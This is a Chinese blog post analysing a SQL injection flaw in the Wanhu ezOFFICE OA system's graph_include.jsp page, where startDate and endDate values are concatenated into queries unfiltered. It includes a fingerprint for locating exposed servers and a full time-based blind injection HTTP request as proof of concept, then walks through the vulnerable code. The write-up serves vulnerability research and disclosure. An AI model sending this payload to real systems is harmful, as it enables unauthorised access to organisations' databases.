万户graph include.jsp sql注入的漏洞分析

万户graph include.jsp sql注入的漏洞分析

万户graph include.jsp sql注入的漏洞分析

产品介绍

万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。

漏洞复现

指纹app:"Wanhu ezOFFICE ERP httpd"

进入页面访问/defaultroot/platform/report/graphreport/graph_include.jsp该页面,传入相应poc

image-20240811213553171

poc

GET /defaultroot/platform/report/graphreport/graph_include.jsp?id=2&startDate=2022-01-01%2000:00:00.000%27%20as%20datetime)%20group%20by%20t.emp_id,t.empname%20)%20%20s%20group%20by%20empname%20order%20by%20num%20desc%20%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close

代码分析

首先根据路由我们进入相关代码页面

GET /defaultroot/platform/report/graphreport/graph_include.jsp

image-20240811170553436

进入到这个graph_include.jsp页面,我们一步步进行分析

image-20240811171105443

分析:

首先是接受从前端传过来的参数startDateenDate参数后,分别进行参数是否为空的判断,若不为空进行格式化;

然后接受前端传来的id的值,接受前端来的 ordergroup的值,如果没有值则设为0,同时调用了htmlcode()方法

image-20240811173425883

该方法用于将字符串中的字符转换成 HTML 转义字符。这通常用于防止跨站脚本攻击(XSS)

接着进入到if语句中,构建不同的 SQL 查询语句

image-20240811173654010

分析:

这段 Java 代码是用于处理数据库查询的逻辑。它首先检查 id 是否为空,如果不为空,则尝试从数据库加载一个 GraphReportPO 对象。接着,根据 GraphReportPO 对象的 dataTypetypeId 属性,构建不同的 SQL 查询语句。

reportType=2时,会根据数据库的类型来进行sql的拼接,会将我们的startDateendDate的值拼接到sql语句

image-20240811181739166

而当reportType为其他值时,并没有这种可以控制参数的sql语句的拼接

image-20240811182227328

若id不为空就会执行db.getDataXML()方法将sql语句作为参数执行该方法,得到一个xml格数的返回值,接着赋值给graph

image-20240811182627122

进入到getDataXML()方法

image-20240811185147995

image-20240811185530115

分析:

首先调用getDate(dataSQL)的方法(该方法意思执行sql语句)赋值给list,之后将其他参数进行赋值,接着进行参数的判断、语句的拼接,最后返回XML

我们进入getDate方法中

image-20240811185742693

分析:

它接收一个 String 类型的参数 sql,实例化一个ParameterGenerator对象, 调用 EJBProxy 对象的 invoke 方法,实现sql语句的执行,然后返回一个 List 类型的对象。这个方法的目的是执行传入的 SQL 查询语句,并返回查询结果。

总结

该代码全程没有对sql语句进行任何的过滤,只需要我们传入一个id=2的参数,进入根据数据库名称来对sql语句进行赋值(该语句会将startDta、enDate拼接到sql语句中)的if判断中,并且startDta或endDate传入的值是我们恶意的sql语句完成拼接即可实现攻击

  • 发表于 2024-08-22 09:38:48
  • 阅读 ( 4890 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
xhys
xhys

12 篇文章

站长统计